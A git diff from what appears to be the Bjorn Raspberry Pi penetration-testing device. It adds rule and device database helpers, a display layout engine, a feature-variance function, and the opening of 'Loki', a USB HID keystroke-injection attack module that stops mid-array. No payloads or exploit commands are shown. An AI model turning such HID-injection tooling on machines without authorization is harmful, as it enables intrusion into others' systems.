(trigger_type,) + ) + return self.base.query( + "SELECT * FROM sentinel_rules WHERE enabled = 1" + ) + + def upsert_rule(self, data: Dict) -> Dict: + rule_id = data.get("id") + if rule_id: + self.base.execute( + """UPDATE sentinel_rules SET + name=?, enabled=?, trigger_type=?, conditions=?, + logic=?, actions=?, cooldown_s=? + WHERE id=?""", + (data["name"], int(data.get("enabled", 1)), + data["trigger_type"], json.dumps(data.get("conditions", {})), + data.get("logic", "AND"), + json.dumps(data.get("actions", ["notify_web"])), + int(data.get("cooldown_s", 60)), rule_id) + ) + else: + self.base.execute( + """INSERT INTO sentinel_rules + (name, enabled, trigger_type, conditions, logic, actions, cooldown_s) + VALUES (?, ?, ?, ?, ?, ?, ?)""", + (data["name"], int(data.get("enabled", 1)), + data["trigger_type"], json.dumps(data.get("conditions", {})), + data.get("logic", "AND"), + json.dumps(data.get("actions", ["notify_web"])), + int(data.get("cooldown_s", 60))) + ) + return {"status": "ok"} + + def delete_rule(self, rule_id: int): + self.base.execute("DELETE FROM sentinel_rules WHERE id = ?", (rule_id,)) + + def update_rule_fired(self, rule_id: int): + self.base.execute( + "UPDATE sentinel_rules SET last_fired = CURRENT_TIMESTAMP WHERE id = ?", + (rule_id,) + ) + + # ── Devices baseline ──────────────────────────────────────────────── + + def get_known_device(self, mac: str) -> Optional[Dict]: + return self.base.query_one( + "SELECT * FROM sentinel_devices WHERE mac_address = ?", (mac,) + ) + + def upsert_device(self, mac: str, **kwargs): + existing = self.get_known_device(mac) + if existing: + sets = [] + params = [] + for k, v in kwargs.items(): + if k in ("alias", "trusted", "watch", "expected_ips", + "expected_ports", "notes"): + sets.append(f"{k} = ?") + params.append(v) + sets.append("last_seen = CURRENT_TIMESTAMP") + if sets: + params.append(mac) + self.base.execute( + f"UPDATE sentinel_devices SET {', '.join(sets)} WHERE mac_address = ?", + params + ) + else: + self.base.execute( + """INSERT INTO sentinel_devices + (mac_address, alias, trusted, watch, expected_ips, expected_ports, notes) + VALUES (?, ?, ?, ?, ?, ?, ?)""", + (mac, kwargs.get("alias", ""), + int(kwargs.get("trusted", 0)), + int(kwargs.get("watch", 1)), + kwargs.get("expected_ips", ""), + kwargs.get("expected_ports", ""), + kwargs.get("notes", "")) + ) + + def get_all_known_devices(self) -> List[Dict]: + return self.base.query("SELECT * FROM sentinel_devices ORDER BY last_seen DESC") + + # ── ARP cache ─────────────────────────────────────────────────────── + + def update_arp_entry(self, mac: str, ip: str): + self.base.execute( + """INSERT INTO sentinel_arp_cache (mac_address, ip_address) + VALUES (?, ?) + ON CONFLICT(mac_address, ip_address) + DO UPDATE SET last_seen = CURRENT_TIMESTAMP""", + (mac, ip) + ) + + def get_arp_for_ip(self, ip: str) -> List[Dict]: + return self.base.query( + "SELECT * FROM sentinel_arp_cache WHERE ip_address = ?", (ip,) + ) + + def get_arp_for_mac(self, mac: str) -> List[Dict]: + return self.base.query( + "SELECT * FROM sentinel_arp_cache WHERE mac_address = ?", (mac,) + ) + + def get_full_arp_cache(self) -> List[Dict]: + return self.base.query("SELECT * FROM sentinel_arp_cache ORDER BY last_seen DESC") diff --git a/debug_schema.py b/debug_schema.py new file mode 100644 index 0000000..4a66050 --- /dev/null +++ b/debug_schema.py @@ -0,0 +1,35 @@ + +import sqlite3 +import os + +db_path = "bjorn.db" + +def check_schema(): + if not os.path.exists(db_path): + print(f"Database {db_path} not found.") + return + + conn = sqlite3.connect(db_path) + cursor = conn.cursor() + + tables = ["rl_training_log", "rl_experiences"] + + with open("schema_debug.txt", "w") as f: + for table in tables: + f.write(f"\nSchema for {table}:\n") + try: + cursor.execute(f"PRAGMA table_info({table})") + columns = cursor.fetchall() + if not columns: + f.write(" (Table not found)\n") + else: + for col in columns: + f.write(f" - {col[1]} ({col[2]})\n") + except Exception as e: + f.write(f" Error: {e}\n") + + conn.close() + +if __name__ == "__main__": + check_schema() + print("Done writing to schema_debug.txt") diff --git a/display.py b/display.py index e3e9b2d..8a0310b 100644 --- a/display.py +++ b/display.py @@ -15,6 +15,7 @@ from typing import Dict, List, Optional, Any, Tuple from PIL import Image, ImageDraw, ImageFont from init_shared import shared_data from logger import Logger +from display_layout import DisplayLayout logger = Logger(name="display.py", level=logging.DEBUG) @@ -166,6 +167,10 @@ class Display: self.config = self.shared_data.config self.epd_enabled = self.config.get("epd_enabled", True) + # Initialize display layout engine + self.layout = DisplayLayout(self.shared_data) + self.shared_data.display_layout = self.layout + self.epd = self.shared_data.epd if self.epd_enabled else None if self.config.get("epd_type") == "epd2in13_V2": @@ -304,7 +309,8 @@ class Display: image = Image.new('1', (self.shared_data.width, self.shared_data.height), 255) draw = ImageDraw.Draw(image) - draw.text((self.px(37), self.py(5)), "BJORN", font=self.shared_data.font_viking, fill=0) + title_pos = self.layout.get('title') + draw.text((self.px(title_pos.get('x', 37)), self.py(title_pos.get('y', 5))), "BJORN", font=self.shared_data.font_viking, fill=0) message = f"Awakening...\nIP: {ip_address}" draw.text( @@ -349,14 +355,25 @@ class Display: return default def get_frise_position(self) -> Tuple[int, int]: - display_type = self.config.get("epd_type", "default") - - if display_type == "epd2in7": - x = self._as_int(getattr(self.shared_data, "frise_epd2in7_x", 50), 50) - y = self._as_int(getattr(self.shared_data, "frise_epd2in7_y", 160), 160) + frise = self.layout.get('frise') + if frise: + # Layout-driven frise position; shared_data overrides still honoured + display_type = self.config.get("epd_type", "default") + if display_type == "epd2in7": + x = self._as_int(getattr(self.shared_data, "frise_epd2in7_x", frise.get('x', 50)), frise.get('x', 50)) + y = self._as_int(getattr(self.shared_data, "frise_epd2in7_y", frise.get('y', 160)), frise.get('y', 160)) + else: + x = self._as_int(getattr(self.shared_data, "frise_default_x", frise.get('x', 0)), frise.get('x', 0)) + y = self._as_int(getattr(self.shared_data, "frise_default_y", frise.get('y', 160)), frise.get('y', 160)) else: - x = self._as_int(getattr(self.shared_data, "frise_default_x", 0), 0) - y = self._as_int(getattr(self.shared_data, "frise_default_y", 160), 160) + # Fallback to original hardcoded logic + display_type = self.config.get("epd_type", "default") + if display_type == "epd2in7": + x = self._as_int(getattr(self.shared_data, "frise_epd2in7_x", 50), 50) + y = self._as_int(getattr(self.shared_data, "frise_epd2in7_y", 160), 160) + else: + x = self._as_int(getattr(self.shared_data, "frise_default_x", 0), 0) + y = self._as_int(getattr(self.shared_data, "frise_default_y", 160), 160) return self.px(x), self.py(y) @@ -609,16 +626,18 @@ class Display: try: draw = ImageDraw.Draw(image) - draw.text((self.px(37), self.py(5)), self.bjorn_name, font=self.font_to_use, fill=0) + title_pos = self.layout.get('title') + draw.text((self.px(title_pos.get('x', 37)), self.py(title_pos.get('y', 5))), self.bjorn_name, font=self.font_to_use, fill=0) self._draw_connection_icons(image) self._draw_battery_status(image) self._draw_statistics(image, draw) self._draw_system_histogram(image, draw) + status_pos = self.layout.get('status_image') status_img = self.shared_data.bjorn_status_image or self.shared_data.attack if status_img is not None: - image.paste(status_img, (self.px(3), self.py(52))) + image.paste(status_img, (self.px(status_pos.get('x', 3)), self.py(status_pos.get('y', 52)))) self._draw_status_text(draw) self._draw_decorations(image, draw) @@ -635,12 +654,13 @@ class Display: raise def _draw_connection_icons(self, image: Image.Image): + wifi_pos = self.layout.get('wifi_icon') wifi_width = self.px(16) bluetooth_width = self.px(9) usb_width = self.px(9) ethernet_width = self.px(12) - start_x = self.px(3) + start_x = self.px(wifi_pos.get('x', 3)) spacing = self.px(6) active_icons = [] @@ -663,7 +683,8 @@ class Display: current_x += width + spacing def _draw_battery_status(self, image: Image.Image): - battery_pos = (self.px(110), self.py(3)) + bat = self.layout.get('battery_icon') + battery_pos = (self.px(bat.get('x', 110)), self.py(bat.get('y', 3))) battery_status = self.shared_data.battery_status if battery_status == 101: @@ -683,47 +704,41 @@ class Display: break def _draw_system_histogram(self, image: Image.Image, draw: ImageDraw.Draw): - # Vertical bars at the bottom-left - # Screen W: 122, Character W: 78 -> Character X: 22 - # Available Left: 0-21. - # Margins: Left 2px (0,1), Right 1px (21) - # RAM: x=2-10 (9px) - # Gap: 11 (1px) - # CPU: x=12-20 (9px) - - # Bottom of screen is 249. User requested 1px up -> 248. - # Font 9 height approx 9-10px. - # Label now has NO box and 1px gap. - # Label Y: 248 - 9 (height) = 239. - # Gap: 1px -> 238 empty. - # Bar Base Y: 237. - - label_h = self.py(9) # Approx height for font 9 + # Vertical bars at the bottom-left — positions from layout + mem_hist = self.layout.get('mem_histogram') + cpu_hist = self.layout.get('cpu_histogram') + + # Memory bar: x from layout, width from layout + mem_x = mem_hist.get('x', 2) + mem_w = mem_hist.get('w', 8) + mem_bar_y = mem_hist.get('y', 204) + mem_bar_h = mem_hist.get('h', 33) + + # CPU bar: x from layout + cpu_x = cpu_hist.get('x', 12) + cpu_w = cpu_hist.get('w', 8) + label_y = self.py(239) base_y = self.py(237) # 1px gap above label - max_h = self.py(33) # Remaining height (237 - 204 = 33) - + max_h = self.py(mem_bar_h) + # RAM ram_pct = max(0, min(100, self.shared_data.system_mem)) ram_h = int((ram_pct / 100.0) * max_h) - # Bar background (x=2 to x=10 inclusive) - draw.rectangle([self.px(2), base_y - max_h, self.px(10), base_y], outline=0) - # Fill - draw.rectangle([self.px(2), base_y - ram_h, self.px(10), base_y], fill=0) - - # Label 'M' - No Box, just text - draw.text((self.px(3), label_y), "M", font=self.shared_data.font_arial9, fill=0) + draw.rectangle([self.px(mem_x), base_y - max_h, self.px(mem_x + mem_w), base_y], outline=0) + draw.rectangle([self.px(mem_x), base_y - ram_h, self.px(mem_x + mem_w), base_y], fill=0) - # CPU + # Label 'M' - No Box, just text + draw.text((self.px(mem_x + 1), label_y), "M", font=self.shared_data.font_arial9, fill=0) + + # CPU cpu_pct = max(0, min(100, self.shared_data.system_cpu)) cpu_h = int((cpu_pct / 100.0) * max_h) - # Bar background (x=12 to x=20 inclusive) - draw.rectangle([self.px(12), base_y - max_h, self.px(20), base_y], outline=0) - # Fill - draw.rectangle([self.px(12), base_y - cpu_h, self.px(20), base_y], fill=0) - + draw.rectangle([self.px(cpu_x), base_y - max_h, self.px(cpu_x + cpu_w), base_y], outline=0) + draw.rectangle([self.px(cpu_x), base_y - cpu_h, self.px(cpu_x + cpu_w), base_y], fill=0) + # Label 'C' - No Box - draw.text((self.px(13), label_y), "C", font=self.shared_data.font_arial9, fill=0) + draw.text((self.px(cpu_x + 1), label_y), "C", font=self.shared_data.font_arial9, fill=0) def _format_count(self, val): try: @@ -735,26 +750,32 @@ class Display: return str(val) def _draw_statistics(self, image: Image.Image, draw: ImageDraw.Draw): + stats_y = self.layout.get('stats_row', 'y') if isinstance(self.layout.get('stats_row'), dict) else 22 + if isinstance(stats_y, dict): + stats_y = stats_y.get('y', 22) + stats_row = self.layout.get('stats_row') + sr_y = stats_row.get('y', 22) if stats_row else 22 + sr_text_y = sr_y + 17 # Text offset below icon row stats = [ - # Row 1 (Icons at y=22, Text at y=39) + # Row 1 (Icons at stats_row y, Text at y+17) # Target - (self.shared_data.target, (self.px(2), self.py(22)), - (self.px(2), self.py(39)), self._format_count(self.shared_data.target_count)), + (self.shared_data.target, (self.px(2), self.py(sr_y)), + (self.px(2), self.py(sr_text_y)), self._format_count(self.shared_data.target_count)), # Port - (self.shared_data.port, (self.px(22), self.py(22)), - (self.px(22), self.py(39)), self._format_count(self.shared_data.port_count)), + (self.shared_data.port, (self.px(22), self.py(sr_y)), + (self.px(22), self.py(sr_text_y)), self._format_count(self.shared_data.port_count)), # Vuln - (self.shared_data.vuln, (self.px(42), self.py(22)), - (self.px(42), self.py(39)), self._format_count(self.shared_data.vuln_count)), + (self.shared_data.vuln, (self.px(42), self.py(sr_y)), + (self.px(42), self.py(sr_text_y)), self._format_count(self.shared_data.vuln_count)), # Cred - (self.shared_data.cred, (self.px(62), self.py(22)), - (self.px(62), self.py(39)), self._format_count(self.shared_data.cred_count)), + (self.shared_data.cred, (self.px(62), self.py(sr_y)), + (self.px(62), self.py(sr_text_y)), self._format_count(self.shared_data.cred_count)), # Zombie - (self.shared_data.zombie, (self.px(82), self.py(22)), - (self.px(82), self.py(39)), self._format_count(self.shared_data.zombie_count)), + (self.shared_data.zombie, (self.px(82), self.py(sr_y)), + (self.px(82), self.py(sr_text_y)), self._format_count(self.shared_data.zombie_count)), # Data - (self.shared_data.data, (self.px(102), self.py(22)), - (self.px(102), self.py(39)), self._format_count(self.shared_data.data_count)), + (self.shared_data.data, (self.px(102), self.py(sr_y)), + (self.px(102), self.py(sr_text_y)), self._format_count(self.shared_data.data_count)), # LVL Widget (Top-Left of bottom frame) # Frame Line at y=170. Gap 1px -> Start y=172. Left Gap 1px -> Start x=2. @@ -782,13 +803,11 @@ class Display: draw.text(text_pos, text, font=self.shared_data.font_arial9, fill=0) # Draw LVL Box manually to ensure perfect positioning - # Box: x=2, y=172. - # User requested "LVL" above value -> Rectangle. - # Height increased to fit both (approx 26px). - lvl_x = self.px(2) - lvl_y = self.py(172) - lvl_w = self.px(18) - lvl_h = self.py(26) + lvl = self.layout.get('lvl_box') + lvl_x = self.px(lvl.get('x', 2)) + lvl_y = self.py(lvl.get('y', 172)) + lvl_w = self.px(lvl.get('w', 18)) + lvl_h = self.py(lvl.get('h', 26)) draw.rectangle([lvl_x, lvl_y, lvl_x + lvl_w, lvl_y + lvl_h], outline=0) @@ -813,17 +832,14 @@ class Display: draw.text((v_x, v_y), lvl_val, font=val_font, fill=0) # --- Right Side Widgets (Integrated with Frame) --- - # Existing Frame: Top line at y=170. Right edge at x=121. Bottom at y=249. - # We only need to draw the Left Vertical separator and Internal Horizontal separators. - - # Column: x=101 to x=121 (Width 20px). - # Height: y=170 to y=249 (Total 79px). - - col_x_start = self.px(101) - col_x_end = self.px(121) # Implicit right edge, useful for centering - col_w = self.px(20) - - y_top = self.py(170) + nkb = self.layout.get('network_kb') + line_bottom = self.layout.get('line_bottom_section') + + col_x_start = self.px(nkb.get('x', 101)) + col_x_end = self.px(nkb.get('x', 101) + nkb.get('w', 20)) + col_w = self.px(nkb.get('w', 20)) + + y_top = self.py(line_bottom.get('y', 170)) y_bottom = self.py(249) # 1. Draw Left Vertical Divider @@ -925,13 +941,20 @@ class Display: progress_val = int(progress_str) except: progress_val = 0 - - # Draw Progress Bar (y=75-80) - Moved up & narrower to fit text - bar_x = self.px(35) - bar_y = self.py(75) - bar_w = self.px(55) # Reduced to 55px to fit text "100%" - bar_h = self.py(5) - + + # Layout lookups for status area + pbar = self.layout.get('progress_bar') + ip_pos = self.layout.get('ip_text') + sl1 = self.layout.get('status_line1') + sl2 = self.layout.get('status_line2') + line_comment = self.layout.get('line_comment_top') + + # Draw Progress Bar + bar_x = self.px(pbar.get('x', 35)) + bar_y = self.py(pbar.get('y', 75)) + bar_w = self.px(pbar.get('w', 55)) + bar_h = self.py(pbar.get('h', 5)) + if progress_val > 0: # Standard Progress Bar draw.rectangle([bar_x, bar_y, bar_x + bar_w, bar_y + bar_h], outline=0) @@ -940,9 +963,6 @@ class Display: draw.rectangle([bar_x, bar_y, bar_x + fill_w, bar_y + bar_h], fill=0) # Draw Percentage Text at the end - # x = bar_x + bar_w + 3 - # y = centered with bar (bar y=75, h=5 -> center 77.5) - # Font 9 height ~9-10px. y_text ~ 73 ? text_x = bar_x + bar_w + self.px(4) text_y = bar_y - 2 # Align visually with bar draw.text((text_x, text_y), f"{progress_val}%", font=self.shared_data.font_arial9, fill=0) @@ -951,6 +971,7 @@ class Display: action_target_ip = str(getattr(self.shared_data, "action_target_ip", "") or "").strip() orch_status = str(getattr(self.shared_data, "bjorn_orch_status", "IDLE") or "IDLE").upper() show_ip = bool(getattr(self.shared_data, "showiponscreen", False)) + comment_line_y = self.py(line_comment.get('y', 85)) if show_ip: # Show local IP only while idle; during actions show target IP when available. if orch_status == "IDLE": @@ -958,21 +979,24 @@ class Display: else: ip_to_show = action_target_ip or current_ip - draw.text((self.px(35), self.py(52)), ip_to_show, + draw.text((self.px(ip_pos.get('x', 35)), self.py(ip_pos.get('y', 52))), ip_to_show, font=self.shared_data.font_arial9, fill=0) - draw.text((self.px(35), self.py(61)), self.shared_data.bjorn_status_text, + draw.text((self.px(sl1.get('x', 35)), self.py(sl1.get('y', 55) + 6)), self.shared_data.bjorn_status_text, font=self.shared_data.font_arial9, fill=0) - # Line at y=85 (moved up 3px) - draw.line((1, self.py(85), self.shared_data.width - 1, self.py(85)), fill=0) + draw.line((1, comment_line_y, self.shared_data.width - 1, comment_line_y), fill=0) else: - draw.text((self.px(35), self.py(55)), self.shared_data.bjorn_status_text, + draw.text((self.px(sl1.get('x', 35)), self.py(sl1.get('y', 55))), self.shared_data.bjorn_status_text, font=self.shared_data.font_arial9, fill=0) - draw.text((self.px(35), self.py(66)), self.shared_data.bjorn_status_text2, + draw.text((self.px(sl2.get('x', 35)), self.py(sl2.get('y', 66))), self.shared_data.bjorn_status_text2, font=self.shared_data.font_arial9, fill=0) - # Line at y=85 (moved up 3px) - draw.line((1, self.py(85), self.shared_data.width - 1, self.py(85)), fill=0) + draw.line((1, comment_line_y, self.shared_data.width - 1, comment_line_y), fill=0) def _draw_decorations(self, image: Image.Image, draw: ImageDraw.Draw): + line_top = self.layout.get('line_top_bar') + line_mid = self.layout.get('line_mid_section') + line_bottom = self.layout.get('line_bottom_section') + frise_elem = self.layout.get('frise') + show_ssid = bool(getattr(self.shared_data, "showssidonscreen", False)) if show_ssid: # Center SSID @@ -980,18 +1004,19 @@ class Display: ssid_w = draw.textlength(ssid, font=self.shared_data.font_arial9) center_x = self.shared_data.width // 2 ssid_x = int(center_x - (ssid_w / 2)) - - draw.text((ssid_x, self.py(160)), ssid, + + frise_y_val = frise_elem.get('y', 160) if frise_elem else 160 + draw.text((ssid_x, self.py(frise_y_val)), ssid, font=self.shared_data.font_arial9, fill=0) - draw.line((0, self.py(170), self.shared_data.width, self.py(170)), fill=0) + draw.line((0, self.py(line_bottom.get('y', 170)), self.shared_data.width, self.py(line_bottom.get('y', 170))), fill=0) else: frise_x, frise_y = self.get_frise_position() if self.shared_data.frise is not None: image.paste(self.shared_data.frise, (frise_x, frise_y)) draw.rectangle((0, 0, self.shared_data.width - 1, self.shared_data.height - 1), outline=0) - draw.line((0, self.py(20), self.shared_data.width, self.py(20)), fill=0) - draw.line((0, self.py(51), self.shared_data.width, self.py(51)), fill=0) + draw.line((0, self.py(line_top.get('y', 20)), self.shared_data.width, self.py(line_top.get('y', 20))), fill=0) + draw.line((0, self.py(line_mid.get('y', 51)), self.shared_data.width, self.py(line_mid.get('y', 51))), fill=0) def _draw_comment_text(self, draw: ImageDraw.Draw): # Cache key for the layout @@ -1011,9 +1036,8 @@ class Display: else: lines = self._comment_layout_cache["lines"] - # MODIFICATION ICI : - # La ligne du dessus est à self.py(85). On veut 1px d'écart, donc 85 + 1 = 86. - y_text = self.py(86) + comment = self.layout.get('comment_area') + y_text = self.py(comment.get('y', 86)) font = self.shared_data.font_arialbold bbox = font.getbbox('Aj') diff --git a/display_layout.py b/display_layout.py new file mode 100644 index 0000000..f83fd1a --- /dev/null +++ b/display_layout.py @@ -0,0 +1,199 @@ +""" +Display Layout Engine for multi-size EPD support. +Provides data-driven layout definitions per display model. +""" +import json +import os +import logging +from logger import Logger + +logger = Logger(name="display_layout.py", level=logging.DEBUG) + +# Default layout for 122x250 (epd2in13 reference) +DEFAULT_LAYOUT = { + "meta": { + "name": "epd2in13_default", + "ref_width": 122, + "ref_height": 250, + "description": "Default layout for 2.13 inch e-paper display" + }, + "elements": { + "title": {"x": 37, "y": 5, "w": 80, "h": 14}, + "wifi_icon": {"x": 3, "y": 3, "w": 12, "h": 12}, + "bt_icon": {"x": 18, "y": 3, "w": 12, "h": 12}, + "usb_icon": {"x": 33, "y": 4, "w": 12, "h": 12}, + "eth_icon": {"x": 48, "y": 4, "w": 12, "h": 12}, + "battery_icon": {"x": 110, "y": 3, "w": 12, "h": 12}, + "stats_row": {"x": 2, "y": 22, "w": 118, "h": 16}, + "status_image": {"x": 3, "y": 52, "w": 15, "h": 15}, + "progress_bar": {"x": 35, "y": 75, "w": 55, "h": 5}, + "ip_text": {"x": 35, "y": 52, "w": 85, "h": 10}, + "status_line1": {"x": 35, "y": 55, "w": 85, "h": 10}, + "status_line2": {"x": 35, "y": 66, "w": 85, "h": 10}, + "comment_area": {"x": 1, "y": 86, "w": 120, "h": 73}, + "main_character": {"x": 25, "y": 100, "w": 70, "h": 65}, + "lvl_box": {"x": 2, "y": 172, "w": 18, "h": 26}, + "cpu_histogram": {"x": 2, "y": 204, "w": 8, "h": 33}, + "mem_histogram": {"x": 12, "y": 204, "w": 8, "h": 33}, + "network_kb": {"x": 101, "y": 170, "w": 20, "h": 26}, + "attacks_count": {"x": 101, "y": 200, "w": 20, "h": 26}, + "frise": {"x": 0, "y": 160, "w": 122, "h": 10}, + "line_top_bar": {"y": 20}, + "line_mid_section": {"y": 51}, + "line_comment_top": {"y": 85}, + "line_bottom_section": {"y": 170} + }, + "fonts": { + "title_size": 11, + "stats_size": 8, + "status_size": 8, + "comment_size": 8, + "lvl_size": 10 + } +} + +# Layout for 176x264 (epd2in7) +LAYOUT_EPD2IN7 = { + "meta": { + "name": "epd2in7_default", + "ref_width": 176, + "ref_height": 264, + "description": "Default layout for 2.7 inch e-paper display" + }, + "elements": { + "title": {"x": 50, "y": 5, "w": 120, "h": 16}, + "wifi_icon": {"x": 4, "y": 3, "w": 14, "h": 14}, + "bt_icon": {"x": 22, "y": 3, "w": 14, "h": 14}, + "usb_icon": {"x": 40, "y": 4, "w": 14, "h": 14}, + "eth_icon": {"x": 58, "y": 4, "w": 14, "h": 14}, + "battery_icon": {"x": 158, "y": 3, "w": 14, "h": 14}, + "stats_row": {"x": 2, "y": 24, "w": 172, "h": 18}, + "status_image": {"x": 4, "y": 55, "w": 18, "h": 18}, + "progress_bar": {"x": 45, "y": 80, "w": 80, "h": 6}, + "ip_text": {"x": 45, "y": 55, "w": 125, "h": 12}, + "status_line1": {"x": 45, "y": 58, "w": 125, "h": 12}, + "status_line2": {"x": 45, "y": 72, "w": 125, "h": 12}, + "comment_area": {"x": 2, "y": 92, "w": 172, "h": 78}, + "main_character": {"x": 35, "y": 105, "w": 100, "h": 70}, + "lvl_box": {"x": 2, "y": 178, "w": 22, "h": 30}, + "cpu_histogram": {"x": 2, "y": 215, "w": 10, "h": 38}, + "mem_histogram": {"x": 14, "y": 215, "w": 10, "h": 38}, + "network_kb": {"x": 148, "y": 178, "w": 26, "h": 30}, + "attacks_count": {"x": 148, "y": 215, "w": 26, "h": 30}, + "frise": {"x": 50, "y": 170, "w": 90, "h": 10}, + "line_top_bar": {"y": 22}, + "line_mid_section": {"y": 53}, + "line_comment_top": {"y": 90}, + "line_bottom_section": {"y": 176} + }, + "fonts": { + "title_size": 13, + "stats_size": 9, + "status_size": 9, + "comment_size": 9, + "lvl_size": 12 + } +} + +# Registry of built-in layouts +BUILTIN_LAYOUTS = { + "epd2in13": DEFAULT_LAYOUT, + "epd2in13_V2": DEFAULT_LAYOUT, + "epd2in13_V3": DEFAULT_LAYOUT, + "epd2in13_V4": DEFAULT_LAYOUT, + "epd2in7": LAYOUT_EPD2IN7, +} + + +class DisplayLayout: + """Manages display layout definitions with per-element positioning.""" + + def __init__(self, shared_data): + self.shared_data = shared_data + self._layout = None + self._custom_dir = os.path.join( + getattr(shared_data, 'current_dir', '.'), + 'resources', 'layouts' + ) + self.load() + + def load(self): + """Load layout for current EPD type. Custom file overrides built-in.""" + epd_type = getattr(self.shared_data, 'epd_type', + self.shared_data.config.get('epd_type', 'epd2in13_V4') + if hasattr(self.shared_data, 'config') else 'epd2in13_V4') + + # Try custom layout file first + custom_path = os.path.join(self._custom_dir, f'{epd_type}.json') + if os.path.isfile(custom_path): + try: + with open(custom_path, 'r') as f: + self._layout = json.load(f) + logger.info(f"Loaded custom layout from {custom_path}") + return + except Exception as e: + logger.error(f"Failed to load custom layout {custom_path}: {e}") + + # Fallback to built-in + base = epd_type.split('_')[0] if '_' in epd_type else epd_type + self._layout = BUILTIN_LAYOUTS.get(epd_type) or BUILTIN_LAYOUTS.get(base) or DEFAULT_LAYOUT + logger.info(f"Using built-in layout for {epd_type}: {self._layout['meta']['name']}") + + def get(self, element_name, prop=None): + """Get element position dict or specific property. + + Returns: dict {x, y, w, h} or int value if prop specified. + Falls back to (0,0) if element not found. + """ + elem = self._layout.get('elements', {}).get(element_name, {}) + if prop: + return elem.get(prop, 0) + return elem + + def font_size(self, name): + """Get font size by name.""" + return self._layout.get('fonts', {}).get(name, 8) + + def meta(self): + """Get layout metadata.""" + return self._layout.get('meta', {}) + + def ref_size(self): + """Get reference dimensions (width, height).""" + m = self.meta() + return m.get('ref_width', 122), m.get('ref_height', 250) + + def all_elements(self): + """Return all element definitions.""" + return dict(self._layout.get('elements', {})) + + def save_custom(self, layout_dict, epd_type=None): + """Save a custom layout to disk.""" + if epd_type is None: + epd_type = getattr(self.shared_data, 'epd_type', + self.shared_data.config.get('epd_type', 'epd2in13_V4') + if hasattr(self.shared_data, 'config') else 'epd2in13_V4') + os.makedirs(self._custom_dir, exist_ok=True) + path = os.path.join(self._custom_dir, f'{epd_type}.json') + tmp = path + '.tmp' + with open(tmp, 'w') as f: + json.dump(layout_dict, f, indent=2) + os.replace(tmp, path) + self._layout = layout_dict + logger.info(f"Saved custom layout to {path}") + + def reset_to_default(self, epd_type=None): + """Delete custom layout, revert to built-in.""" + if epd_type is None: + epd_type = getattr(self.shared_data, 'epd_type', + self.shared_data.config.get('epd_type', 'epd2in13_V4') + if hasattr(self.shared_data, 'config') else 'epd2in13_V4') + custom_path = os.path.join(self._custom_dir, f'{epd_type}.json') + if os.path.isfile(custom_path): + os.remove(custom_path) + logger.info(f"Removed custom layout {custom_path}") + self.load() + + def to_dict(self): + """Export current layout as dict (for API).""" + return dict(self._layout) if self._layout else {} diff --git a/feature_logger.py b/feature_logger.py index a5beeda..136c380 100644 --- a/feature_logger.py +++ b/feature_logger.py @@ -737,6 +737,68 @@ class FeatureLogger: # FEATURE AGGREGATION & EXPORT # ═══════════════════════════════════════════════════════════════════════ + def get_feature_importance(self) -> List[Dict[str, Any]]: + """ + AI-01: Return features sorted by variance from the ml_features_aggregated table. + Features with higher variance carry more discriminative information. + + Returns: + List of dicts: [{name, variance, sample_count}, ...] sorted by variance descending. + """ + min_variance = float( + getattr(self.shared_data, 'ai_feature_selection_min_variance', 0.001) + ) + results = [] + try: + rows = self.db.query( + "SELECT feature_vector, total_actions FROM ml_features_aggregated" + ) + if not rows: + return results + + # Accumulate per-feature running stats (Welford-style via sum/sq/n) + stats = {} # {feature_name: [sum, sum_sq, count]} + for row in rows: + try: + vec = json.loads(row.get('feature_vector', '{}')) + except Exception: + continue + if not isinstance(vec, dict): + continue + for name, value in vec.items(): + try: + val = float(value) + except (TypeError, ValueError): + continue + if name not in stats: + stats[name] = [0.0, 0.0, 0] + s = stats[name] + s[0] += val + s[1] += val * val + s[2] += 1 + + for name, (s, sq, n) in stats.items(): + if n < 2: + variance = 0.0 + else: + mean = s / n + variance = max(0.0, sq / n - mean * mean) + results.append({ + 'name': name, + 'variance': round(variance, 6), + 'sample_count': n, + 'above_threshold': variance >= min_variance, + }) + + results.sort(key=lambda x: x['variance'], reverse=True) + logger.debug(f"Feature importance: {len(results)} features analyzed, " + f"{sum(1 for r in results if r['above_threshold'])} above threshold") + + except Exception as e: + logger.error(f"Error computing feature importance: {e}") + + return results + def get_stats(self) -> Dict[str, Any]: """Get current feature logging statistics""" try: diff --git a/loki/__init__.py b/loki/__init__.py new file mode 100644 index 0000000..6739b64 --- /dev/null +++ b/loki/__init__.py @@ -0,0 +1,375 @@ +""" +Loki — HID Attack Engine for Bjorn. + +Manages USB HID gadget lifecycle, script execution, and job tracking. +Named after the Norse trickster god. + +Loki is the 5th exclusive operation mode (alongside MANUAL, AUTO, AI, BIFROST). +When active, the orchestrator stops and the Pi acts as a keyboard/mouse +to the connected host via /dev/hidg0 (keyboard) and /dev/hidg1 (mouse). + +HID GADGET STRATEGY: + The HID functions (keyboard + mouse) are created ONCE at boot time alongside + RNDIS networking by the usb-gadget.sh script. This avoids the impossible task + of hot-adding HID functions to a running composite gadget (UDC rebind fails + with EIO when RNDIS is active). + + LokiEngine simply opens/closes the /dev/hidg0 and /dev/hidg1 device files. + If /dev/hidg0 doesn't exist, the user needs to run the setup once and reboot. +""" +import os +import time +import subprocess +import logging +from threading import Event + +from logger import Logger + +logger = Logger(name="loki", level=logging.DEBUG) + +# USB HID report descriptors — EXACT byte-for-byte copies from P4wnP1_aloa +# Source: P4wnP1_aloa-master/service/SubSysUSB.go lines 54-70 +# +# These are written to the gadget at boot time by usb-gadget.sh. +# Kept here for reference and for the install_hid_gadget() method. +# +_KBD_REPORT_DESC = bytes([ + 0x05, 0x01, 0x09, 0x06, 0xa1, 0x01, 0x05, 0x07, + 0x19, 0xe0, 0x29, 0xe7, 0x15, 0x00, 0x25, 0x01, + 0x75, 0x01, 0x95, 0x08, 0x81, 0x02, 0x95, 0x01, + 0x75, 0x08, 0x81, 0x03, 0x95, 0x05, 0x75, 0x01, + 0x05, 0x08, 0x19, 0x01, 0x29, 0x05, 0x91, 0x02, + 0x95, 0x01, 0x75, 0x03, 0x91, 0x03, 0x95, 0x06, + 0x75, 0x08, 0x15, 0x00, 0x25, 0x65, 0x05, 0x07, + 0x19, 0x00, 0x29, 0x65, 0x81, 0x00, 0xc0, +]) # 63 bytes, report_length=8 + +_MOUSE_REPORT_DESC = bytes([ + 0x05, 0x01, 0x09, 0x02, 0xa1, 0x01, 0x09, 0x01, + 0xa1, 0x00, 0x85, 0x01, 0x05, 0x09, 0x19, 0x01, + 0x29, 0x03, 0x15, 0x00, 0x25, 0x01, 